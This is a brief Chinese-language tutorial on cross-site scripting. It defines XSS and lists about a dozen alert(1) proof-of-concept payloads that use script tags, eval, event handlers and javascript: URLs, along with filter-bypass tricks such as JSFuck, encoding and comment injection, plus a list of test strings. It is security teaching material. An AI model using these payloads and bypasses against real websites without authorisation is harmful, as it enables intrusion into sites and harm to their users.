XSS (Cross-site Scripting)
XSS 是一種網站漏洞,可以讓攻擊者在網站上執行 JavaScript 程式碼,進而竊取使用者的資料或是導向惡意網站。 問題通常出現在網站沒有對使用者輸入的資料做過濾,導致使用者輸入的資料被當成 JavaScript 程式碼執行。
簡單判斷是否有 XSS 漏洞的方法是在網站上輸入 <script>alert(1)</script>
,如果有跳出視窗就表示有 XSS 漏洞。
另外延伸的方法,包含透過各種方式觸發 JavaScript 程式碼,例如:
<script>alert(1)</script>
<script>alert`1`</script>
<script>eval('alert(1)')</script>
<script>eval.call`${'alert(1)'}`</script>
<script src=data:text/html,%61%6c%65%72%74(1)>
<script>new Function('alert(1)')()</script>
<input type="image" src=x onerror="javascript:alert(1);">
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<iframe onload=alert(1)>
攻擊的方式有很多種、包含反射型 (reflected)、儲存型 (stored)、DOM-based 等等,主要的概念都是一樣的,將 JavaScript 程式碼注入到網站上並網站執行。會發生問題的主要原因是不正確的輸入驗證,導致使用者輸入的資料被當成 JavaScript 程式碼執行。
Bypass Filter
下面例出幾種繞過檢查的方式:
- 使用 JSFuck
- 使用
"
或'
- 使用
>
編碼<iframe onload="alert(1)">
- 使用
/
代替空白<iframe/onload=alert(1)>
- 使用
<!--
註解後續程式碼
Testing
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c
<script>alert(1)</script>
<script src=data:text/html,%61%6c%65%72%74(1)>
<img/src=x/onload=alert(1)>
<!--
Exercises
可以使用下面幾個網站 來練習 XSS 的攻擊方式:
Playground
提供一個 playground 用來測試各種 XSS payload: